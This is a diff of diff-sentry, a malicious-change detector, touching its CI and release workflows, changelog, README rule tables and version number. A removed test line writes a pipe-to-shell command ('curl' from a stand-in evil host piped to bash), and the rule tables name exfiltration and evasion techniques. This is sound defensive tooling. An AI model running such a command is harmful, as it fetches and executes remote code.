+ # Least privilege: this workflow only checks out code and runs tests/lint; it never writes. Specifying `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted fork PR can't use the token to push, tag, or open issues.
15
10
  permissions:
16
11
  contents: read
17
12
 
@@ -32,9 +27,7 @@ jobs:
32
27
  - uses: actions/checkout@v7
33
28
 
34
29
  - name: Install uv
35
- # Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag
36
- # could be repointed at malicious code that runs with this workflow's token). GitHub-owned
37
- # actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
30
+ # Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag could be repointed at malicious code that runs with this workflow's token). GitHub-owned actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
38
31
  uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
39
32
  with:
40
33
  enable-cache: true
@@ -50,27 +43,18 @@ jobs:
50
43
  - name: Studio console tests
51
44
  run: uv run --python ${{ matrix.python-version }} python -m pytest studio/tests
52
45
 
53
- # The eval workspace member (diff-sentry-eval) has its OWN offline suite: the reward-free ATLAS
54
- # scorecard, stub judge, synthetic traces, no creds.
46
+ # The eval workspace member (diff-sentry-eval) has its OWN offline suite: the reward-free ATLAS scorecard, stub judge, synthetic traces, no creds.
55
47
  - name: Eval scorecard tests
56
48
  run: uv run --package diff-sentry-eval --python ${{ matrix.python-version }} python -m pytest eval/tests
57
49
 
58
- # The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based
59
- # node tests; the ubuntu runner ships node, so gate them here too.
50
+ # The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based node tests; the ubuntu runner ships node, so gate them here too.
60
51
  - name: Frontend core unit tests (node)
61
52
  run: |
62
53
  for f in studio/tests/*.test.js; do echo "▸ $f"; node "$f"; done
63
54
 
64
- # Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it.
65
- # So every PR here is also an integration test of the thing users install: a drifted action.yml
66
- # fails our own build before it reaches anyone's Marketplace install.
55
+ # Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it. So every PR here is also an integration test of the thing users install: a drifted action.yml fails our own build before it reaches anyone's Marketplace install.
67
56
  #
68
- # DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_*
69
- # model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`,
70
- # precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no
71
- # creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token.
72
- # NO fork guard here, also deliberately: the job is read-only with no side effects outside its own
73
- # repo, so a fork running it is correct and useful.
57
+ # DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_* model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`, precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token. NO fork guard here, also deliberately: the job is read-only with no side effects outside its own repo, so a fork running it is correct and useful.
74
58
  self-scan:
75
59
  name: self-scan (dogfood)
76
60
  runs-on: ubuntu-latest
@@ -81,16 +65,9 @@ jobs:
81
65
 
82
66
  - uses: ./
83
67
  with:
84
- # Scan this PR with the rules IN this PR, not the ones already on main. Without it the
85
- # dogfood would grade a rule change against the previous rule set and always pass.
68
+ # Scan this PR with the rules IN this PR, not the ones already on main. Without it the dogfood would grade a rule change against the previous rule set and always pass.
86
69
  version: local
87
- # This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies,
88
- # the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that
89
- # tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit
90
- # (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted
91
- # in README's rule table both fire), so they are reported without gating while the machinery
92
- # and the build/CI/dependency surface stay enforced. This file is in the GATED half:
93
- # describe a payload shape here, never quote one.
70
+ # This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies, the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted in README's rule table both fire), so they are reported without gating while the machinery and the build/CI/dependency surface stay enforced. This file is in the GATED half: describe a payload shape here, never quote one.
94
71
  report-only-paths: |
95
72
  diff_sentry/indicators.py
96
73
  diff_sentry/detect.py
@@ -102,10 +79,7 @@ jobs:
102
79
  eval/diff_sentry_eval/taskset.py
103
80
  *.md
104
81
 
105
- # The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN
106
- # that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI --
107
- # covered by nothing: a quoting or resolution bug there would break every install while our own CI
108
- # stayed green. This job exercises exactly that line against a known-malicious fixture.
82
+ # The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI -- covered by nothing: a quoting or resolution bug there would break every install while our own CI stayed green. This job exercises exactly that line against a known-malicious fixture.
109
83
  consumer-install:
110
84
  name: consumer install path (PyPI)
111
85
  runs-on: ubuntu-latest
@@ -121,11 +95,8 @@ jobs:
121
95
  ver=$(uv run --no-project --with pyyaml python -c \
122
96
  "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
123
97
  echo "action.yml default version: $ver"
124
- # The fixture lives under tests/ (a report-only path) rather than inline here: this file is in
125
- # the GATED half, so a payload written into it fails our own scan.
126
- # FIRST prove the install. `scan` exits 1 when it flags, and uvx ALSO exits 1 when it cannot
127
- # resolve `diff-sentry==${ver}` -- so the negative check below cannot tell "flagged" from "never
128
- # installed" (e.g. a release commit whose version is not on PyPI yet).
98
+ # The fixture lives under tests/ (a report-only path) rather than inline here: this file is in the GATED half, so a payload written into it fails our own scan.
99
+ # FIRST prove the install. `scan` exits 1 when it flags, and uvx ALSO exits 1 when it cannot resolve `diff-sentry==${ver}` -- so the negative check below cannot tell "flagged" from "never installed" (e.g. a release commit whose version is not on PyPI yet).
129
100
  got=$(uvx "diff-sentry==${ver}" --version)
130
101
  echo "installed: $got"
131
102
  case "$got" in *" ${ver}") ;; *) echo "::error::expected version ${ver}, got '$got'"; exit 1;; esac
@@ -145,8 +116,5 @@ jobs:
145
116
  with:
146
117
  enable-cache: true
147
118
  - name: Lint
148
- # PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT
149
- # rule set is not a stable contract (0.16 widened it well past the pycodestyle/pyflakes
150
- # baseline), so an unpinned run can turn this job red with no code change. Bump it
151
- # deliberately, with the resulting fixes in the same commit.
119
+ # PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT rule set is not a stable contract (0.16 widened it well past the pycodestyle/pyflakes baseline), so an unpinned run can turn this job red with no code change. Bump it deliberately, with the resulting fixes in the same commit.
152
120
  run: uvx ruff@0.16.0 check .
@@ -1,19 +1,13 @@
1
1
  name: Release
2
2
 
3
- # Publish to PyPI via Trusted Publishing (OIDC), with NO API token. INERT until a GitHub Release is
4
- # published, and needs one-time setup before the first release:
3
+ # Publish to PyPI via Trusted Publishing (OIDC), with NO API token. INERT until a GitHub Release is published, and needs one-time setup before the first release:
5
4
  # 1. On PyPI, add a Trusted Publisher for project `diff-sentry`:
6
5
  # owner = qazbnm456, repo = diff-sentry, workflow = release.yml, environment = pypi
7
6
  # 2. In this repo's settings, create an environment named `pypi`.
8
7
  #
9
- # A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also
10
- # where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what
11
- # consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the
12
- # Action; keep the README's quickstart ref in step with the tag you publish.
8
+ # A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the Action; keep the README's quickstart ref in step with the tag you publish.
13
9
  #
14
- # Supply-chain: the two third-party actions are SHA-pinned: setup-uv, and (highest blast radius, it
15
- # uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned
16
- # checkout/*-artifact stay on major tags.
10
+ # Supply-chain: the two third-party actions are SHA-pinned: setup-uv, and (highest blast radius, it uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned checkout/*-artifact stay on major tags.
17
11
 
18
12
  on:
19
13
  release:
@@ -34,17 +28,9 @@ jobs:
34
28
  - name: Build sdist + wheel
35
29
  run: uv build
36
30
 
37
- # Verify the ARTIFACT, not the checkout: a wheel can build cleanly and still be unusable. Without
38
- # a `[project.scripts]` entry point, for example, `uvx diff-sentry` (the exact command the GitHub
39
- # Action runs) cannot work, and nothing in the source tree says so. Installing the built wheel into
40
- # a clean environment and running it is what catches that.
31
+ # Verify the ARTIFACT, not the checkout: a wheel can build cleanly and still be unusable. Without a `[project.scripts]` entry point, for example, `uvx diff-sentry` (the exact command the GitHub Action runs) cannot work, and nothing in the source tree says so. Installing the built wheel into a clean environment and running it is what catches that.
41
32
  #
42
- # It also settles the version question against the thing being uploaded rather than against a
43
- # regex over the source. Three identities have to agree: the git tag people pin, the version
44
- # baked into the wheel's filename, and what a running install reports as `__version__`. A
45
- # mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that
46
- # silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into
47
- # the script body.
33
+ # It also settles the version question against the thing being uploaded rather than against a regex over the source. Three identities have to agree: the git tag people pin, the version baked into the wheel's filename, and what a running install reports as `__version__`. A mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into the script body.
48
34
  - name: Verify the wheel installs, runs, and matches the tag
49
35
  env:
50
36
  TAG: ${{ github.event.release.tag_name }}
@@ -56,9 +42,7 @@ jobs:
56
42
  tag="${TAG#v}"
57
43
  wheel=$(basename dist/*.whl | cut -d- -f2)
58
44
  installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
59
- # action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually
60
- # runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so
61
- # a user who upgraded to get a new rule would not get it and nothing would say so.
45
+ # action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so a user who upgraded to get a new rule would not get it and nothing would say so.
62
46
  action=$(/tmp/smoke/bin/python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])" 2>/dev/null \
63
47
  || uv run --no-project --with pyyaml python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
64
48
  echo "tag=$tag wheel=$wheel installed=$installed action.yml=$action"
@@ -67,10 +51,8 @@ jobs:
67
51
  exit 1
68
52
  fi
69
53
 
70
- # The console script must actually flag a known-malicious diff (exit 1). A wheel that installs
71
- # but scans nothing would sail through a plain --version check.
72
- printf '+run: curl http://evil.example/p | bash\n' > /tmp/smoke.diff
73
- if /tmp/smoke/bin/diff-sentry scan /tmp/smoke.diff; then
54
+ # The console script must actually flag a known-malicious diff (exit 1). A wheel that installs but scans nothing would sail through a plain --version check. The diff is the fixture under tests/ (a report-only path): a payload written into this file fails our own scan.
55
+ if /tmp/smoke/bin/diff-sentry scan tests/fixtures/known-malicious.diff; then
74
56
  echo "::error::the console script did not flag a known-malicious diff"
75
57
  exit 1
76
58
  fi
@@ -83,12 +65,7 @@ jobs:
83
65
  publish:
84
66
  needs: build
85
67
  runs-on: ubuntu-latest
86
- # Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release
87
- # would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding
88
- # (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against
89
- # OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is
90
- # deliberately NOT guarded: it only builds and tests an artifact, and a fork verifying its own
91
- # build is fine.
68
+ # Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is deliberately NOT guarded: it only builds and tests an artifact, and a fork verifying its own build is fine.
92
69
  if: github.repository == 'qazbnm456/diff-sentry'
93
70
  environment: pypi
94
71
  permissions:
@@ -2,13 +2,29 @@
2
2
 
3
3
  All notable changes to diff-sentry, a BewAIre-style detector that classifies one GitHub change (PR, issue or push) for malicious intent on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness).
4
4
 
5
+ ## 0.10.0
6
+
7
+ Upgrade from 0.9.0: the GitHub Action now flags a GitHub owner that imitates your repository's own, so a workflow change it passed before can fail it now, and `release-watch` compares who published each release. Nothing needs configuring: the Action reads the repository from `GITHUB_REPOSITORY`. `rlm-harness==1.22.0` is unchanged.
8
+
9
+ ### Added
10
+ - **`lookalike-owner` flags a GitHub owner that imitates the repository's own**, such as the `Berri-AI/litellm` that litellm's release workflow was pointed at to build 1.107.0 (the project is `BerriAI`). An owner that equals yours once hyphens are dropped is `critical` in a workflow and `high` in a URL, an action, a clone or a `--repo` elsewhere; one a single character away is `medium`, since real sibling organisations sit that close. A workflow that checks out another owner's repository is `foreign-checkout`, `medium`.
11
+ - **`diff-sentry scan --repo owner/name`** names the repository a diff is of; it defaults to `GITHUB_REPOSITORY`.
12
+ - **`release-watch` alerts when a release's Trusted Publisher changes**: a repository, workflow, environment or account that the previous release's PyPI attestations did not name is `high`, and `critical` when the repository's owner imitates the previous one's. It needs the previous release to be attested, and it names the repository whose workflow uploaded, not the one it built from.
13
+
14
+ ### Changed
15
+ - **`release-watch` keeps the rules that only see a code-owners file, a workflow file or a CI skip mentioned below the alert floor**, as it already did for prompt injection: a package governs no repository, and a comment mentions them as readily as code. A workflow's dangerous content keeps its severity in every file of a package.
16
+
17
+ ### Fixed
18
+ - **`release-watch` alerts when a release has no attestations after a release that had some**, including one whose sdist was uploaded by hand beside attested wheels.
19
+ - **`release-watch --check` exits non-zero when the comparison fails.**
20
+
5
21
  ## 0.9.0
6
22
 
7
23
  Upgrade from 0.8.0: a new `release-watch` command, and one rule that fires less on Rust code. The GitHub Action's scan is otherwise unchanged, nothing needs configuring, and `rlm-harness==1.22.0` is unchanged. `packaging` is a new dependency.
8
24
 
9
25
  ### Added
10
- - **`diff-sentry release-watch` watches PyPI releases.** A compromised release need not pass through a pull request: litellm 1.107.0 was built from a lookalike fork, and its wheels held a `.pth` startup hook and a packed stealer the previous release did not. `release-watch` polls the packages you name, compares every new file with the release before it, and screens what changed with the same rules as a pull request, alerting the SIEM and archiving the comparison. Artifacts are read as data and never installed. See [Watching releases](docs/release-watch.md).
11
- - **What a release does not let it read alerts on its own**: a changed file that runs but could not be read as text (compiled bytecode, a new native module, a file too large to read), two files that install to the same path, a download that fails or does not match its checksum, and attestations the previous release had and this one lacks.
26
+ - **`diff-sentry release-watch` watches PyPI releases.** A compromised release need not pass through a pull request: litellm 1.107.0 was built from an attacker's repository, and its wheels held a `.pth` startup hook and a packed stealer the previous release did not. `release-watch` polls the packages you name, compares every new file with the release before it, and screens what changed with the same rules as a pull request, alerting the SIEM and archiving the comparison. Artifacts are read as data and never installed. See [Watching releases](docs/release-watch.md).
27
+ - **Anything it cannot read in a release alerts on its own**: a changed file that runs but could not be read as text (compiled bytecode, a new native module, a file too large to read), two files that install to the same path, and a download that fails or does not match its checksum. So does a release without the attestations the previous one had.
12
28
 
13
29
  ### Fixed
14
30
  - **`data-exfiltration` no longer reads a Rust closure named `env`** (`|env| self.getenv(env)`) as a shell dumping its environment into a pipe.
@@ -26,7 +42,7 @@ Upgrade from 0.7.1: the GitHub Action now runs the file-structure rules and catc
26
42
  - **A packed payload is inflated before it is read**: a base64 blob holding a zlib or gzip stream is decompressed, within a size budget, and scanned for a payload.
27
43
 
28
44
  ### Fixed
29
- - **The Action's scan runs the file-structure rules**: a VS Code task that runs on folder open, an npm lifecycle hook or task that runs a file the change adds, a script under an image or font name, obfuscated code in a developer tool's config, and the new startup hooks. Before, only the model pipeline and `watch` ran them.
45
+ - **The Action's scan runs the file-structure rules**: a VS Code task that runs on folder open, an npm lifecycle hook or task that runs a file the change adds, a script under an image or font name, obfuscated code in a developer tool's config, and the new startup hooks. Only the model pipeline and `watch` ran them in 0.7.1.
30
46
  - **A path git quotes in a diff header** (a byte outside printable ASCII) is read as its file instead of folding into the file before it.
31
47
 
32
48
  ## 0.7.1
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: diff-sentry
3
- Version: 0.9.0
3
+ Version: 0.10.0
4
4
  Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
5
5
  Author: Boik Su
6
6
  License-Expression: MIT
@@ -43,16 +43,16 @@ jobs:
43
43
  - uses: actions/checkout@v7
44
44
  with:
45
45
  fetch-depth: 0 # the scan diffs against the PR base
46
- - uses: qazbnm456/diff-sentry@v0.9.0
46
+ - uses: qazbnm456/diff-sentry@v0.10.0
47
47
  ```
48
48
 
49
- That is the whole setup. The job fails when an indicator at or above `high` fires.
49
+ That is the whole setup. The job fails when an indicator at or above `high` fires. Add `push` to `on:` to also scan commits pushed straight to a branch. A push that bypasses branch protection can also delete this workflow, so `watch` and `release-watch` read the repository and its releases from outside.
50
50
 
51
51
  ## What it catches
52
52
 
53
53
  | Family | Examples |
54
54
  |---|---|
55
- | Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; plus `permissions: write-all` and CODEOWNERS reassignment |
55
+ | Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; a workflow pointed at a lookalike of your own GitHub owner (the litellm release built from `Berri-AI/litellm`); plus `permissions: write-all` and CODEOWNERS reassignment |
56
56
  | Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
57
57
  | Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers, Python startup hooks (`.pth`, `sitecustomize.py`), packed or downloaded code run with `exec` |
58
58
  | Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |
@@ -21,16 +21,16 @@ jobs:
21
21
  - uses: actions/checkout@v7
22
22
  with:
23
23
  fetch-depth: 0 # the scan diffs against the PR base
24
- - uses: qazbnm456/diff-sentry@v0.9.0
24
+ - uses: qazbnm456/diff-sentry@v0.10.0
25
25
  ```
26
26
 
27
- That is the whole setup. The job fails when an indicator at or above `high` fires.
27
+ That is the whole setup. The job fails when an indicator at or above `high` fires. Add `push` to `on:` to also scan commits pushed straight to a branch. A push that bypasses branch protection can also delete this workflow, so `watch` and `release-watch` read the repository and its releases from outside.
28
28
 
29
29
  ## What it catches
30
30
 
31
31
  | Family | Examples |
32
32
  |---|---|
33
- | Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; plus `permissions: write-all` and CODEOWNERS reassignment |
33
+ | Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; a workflow pointed at a lookalike of your own GitHub owner (the litellm release built from `Berri-AI/litellm`); plus `permissions: write-all` and CODEOWNERS reassignment |
34
34
  | Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
35
35
  | Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers, Python startup hooks (`.pth`, `sitecustomize.py`), packed or downloaded code run with `exec` |
36
36
  | Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |
@@ -0,0 +1,10 @@
1
+ # Vendored / external dependencies
2
+
3
+ diff-sentry vendors nothing. It consumes rlm-harness as an exact PyPI pin, and its deterministic detection logic (indicators, assemble, emit) is its own pure-Python code. The Claude-subscription adapter comes from the rlm-harness wheel (`rlm-harness[subscription]` provides `rlm_harness.ClaudeAgentLM`, injected at `configure(main_lm=…, sub_lm=…)`). The external boundaries diff-sentry does cross, and why, are listed here.
4
+
5
+ ## External services (all opt-in, none bundled)
6
+
7
+ - **GitHub ingest** (`ingest.py`): shells out to `gh` HOST-SIDE only (transport injectable, never a planner tool). The fetched change content is untrusted LM context, never trusted instructions.
8
+ - **Enrichment fetch** (`fetch_tool.py`): OFF by default, GitHub-allowlisted (MF2), SSRF-guarded by the kit with a resolved-IP re-check on every redirect hop.
9
+ - **SIEM webhook** (`emit.py`): host-side POST after the run; the planner never holds SIEM creds.
10
+ - **The model endpoints** (planner / analyst / classifier): the user's own, by env. No default vendor.
@@ -1,7 +1,5 @@
1
1
  name: 'diff-sentry malicious change scan'
2
- # Marketplace hard-caps this at 124 characters (the publish form rejects 125+), and it is the one line
3
- # shown on the listing card and in search results. Keep it under the cap and keep it concrete; the long
4
- # form lives in the README.
2
+ # Marketplace hard-caps this at 124 characters (the publish form rejects 125+), and it is the one line shown on the listing card and in search results. Keep it under the cap and keep it concrete; the long form lives in the README.
5
3
  description: 'Catch malicious pull requests before they merge: obfuscated payloads, exfiltration, pwn-requests. No API key.'
6
4
  author: 'qazbnm456'
7
5
 
@@ -41,10 +39,8 @@ inputs:
41
39
  which is what this repo's own CI uses so that a PR is scanned by the rules IN
42
40
  that PR rather than by the ones already on main.
43
41
  required: false
44
- # KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts
45
- # from the tag being released, because a stale default here would silently run an
46
- # old scanner under a new action tag.
47
- default: '0.9.0'
42
+ # KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts from the tag being released, because a stale default here would silently run an old scanner under a new action tag.
43
+ default: '0.10.0'
48
44
 
49
45
  outputs:
50
46
  failed:
@@ -67,8 +63,7 @@ runs:
67
63
  using: composite
68
64
  steps:
69
65
  - name: Install uv
70
- # SHA-pinned: a moving major tag on a third-party action could be repointed at code that runs
71
- # with the calling workflow's token. Bump the SHA and the trailing version comment together.
66
+ # SHA-pinned: a moving major tag on a third-party action could be repointed at code that runs with the calling workflow's token. Bump the SHA and the trailing version comment together.
72
67
  uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
73
68
  with:
74
69
  enable-cache: true
@@ -76,9 +71,7 @@ runs:
76
71
  - name: Scan the change
77
72
  id: scan
78
73
  shell: bash
79
- # Event data is read from `env:`, never interpolated into the script body. A
80
- # `${{ github.event.* }}` expanded straight into a shell command is the classic Actions
81
- # script-injection sink, and this action exists to catch that class of mistake.
74
+ # Event data is read from `env:`, never interpolated into the script body. A `${{ github.event.* }}` expanded straight into a shell command is the classic Actions script-injection sink, and this action exists to catch that class of mistake.
82
75
  env:
83
76
  EVENT_NAME: ${{ github.event_name }}
84
77
  PR_BASE_SHA: ${{ github.event.pull_request.base.sha }}
@@ -108,9 +101,7 @@ runs:
108
101
  fi
109
102
  echo "diffing ${base}...$(git rev-parse HEAD)"
110
103
 
111
- # Split the change into a gated half and a report-only half. Anything the caller listed as
112
- # pattern-bearing is excluded from the gate and scanned separately, so a repo that legitimately
113
- # ships attack samples is not permanently red while the rest of it stays enforced.
104
+ # Split the change into a gated half and a report-only half. Anything the caller listed as pattern-bearing is excluded from the gate and scanned separately, so a repo that legitimately ships attack samples is not permanently red while the rest of it stays enforced.
114
105
  gated_ex=()
115
106
  report_inc=()
116
107
  while IFS= read -r p; do
@@ -1,20 +1,12 @@
1
1
  """diff-sentry: classify a GitHub change for malicious intent, as a traced RLM harness.
2
2
 
3
- A downstream *consumer* of rlm-harness (an exact PyPI pin) reproducing Datadog's BewAIre defense shape:
4
- ingest a GitHub PR/issue/push → analyze the diff as UNTRUSTED data in a sandboxed REPL → produce a
5
- judgement-only structured verdict (benign/suspicious/malicious/inconclusive) → union the deterministic indicator
6
- evidence on read → emit a SIEM signal host-side → export reward-free trajectories.
3
+ A downstream *consumer* of rlm-harness (an exact PyPI pin) reproducing Datadog's BewAIre defense shape: ingest a GitHub PR/issue/push → analyze the diff as UNTRUSTED data in a sandboxed REPL → produce a judgement-only structured verdict (benign/suspicious/malicious/inconclusive) → union the deterministic indicator evidence on read → emit a SIEM signal host-side → export reward-free trajectories.
7
4
 
8
5
  Public surface::
9
6
 
10
- from diff_sentry import DetectConfig, run, detect_from_event # drive a run
11
- from diff_sentry import ChangeVerdict, AssembledVerdict, DetectionResponse # shapes
12
- from diff_sentry import scan_indicators, assemble_verdict, build_response, emit_signal
13
- from diff_sentry import normalize_event, event_from_payload, export_dataset
7
+ from diff_sentry import DetectConfig, run, detect_from_event # drive a run from diff_sentry import ChangeVerdict, AssembledVerdict, DetectionResponse # shapes from diff_sentry import scan_indicators, assemble_verdict, build_response, emit_signal from diff_sentry import normalize_event, event_from_payload, export_dataset
14
8
 
15
- `config`, `schema`, `normalize`, `indicators`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`,
16
- `snapshot`, `watch`, `rl_export`, `rubric` import NO dspy at module top (unit-testable in isolation).
17
- `ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` pull in dspy lazily (via RLMTask).
9
+ `config`, `schema`, `normalize`, `indicators`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`, `snapshot`, `watch`, `rl_export`, `rubric` import NO dspy at module top (unit-testable in isolation). `ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` pull in dspy lazily (via RLMTask).
18
10
  """
19
11
 
20
12
  from __future__ import annotations
@@ -80,7 +72,7 @@ __all__ = [
80
72
  "screen",
81
73
  ]
82
74
 
83
- __version__ = "0.9.0"
75
+ __version__ = "0.10.0"
84
76
 
85
77
 
86
78
  def __getattr__(name: str): # PEP 562: defer the dspy import to first use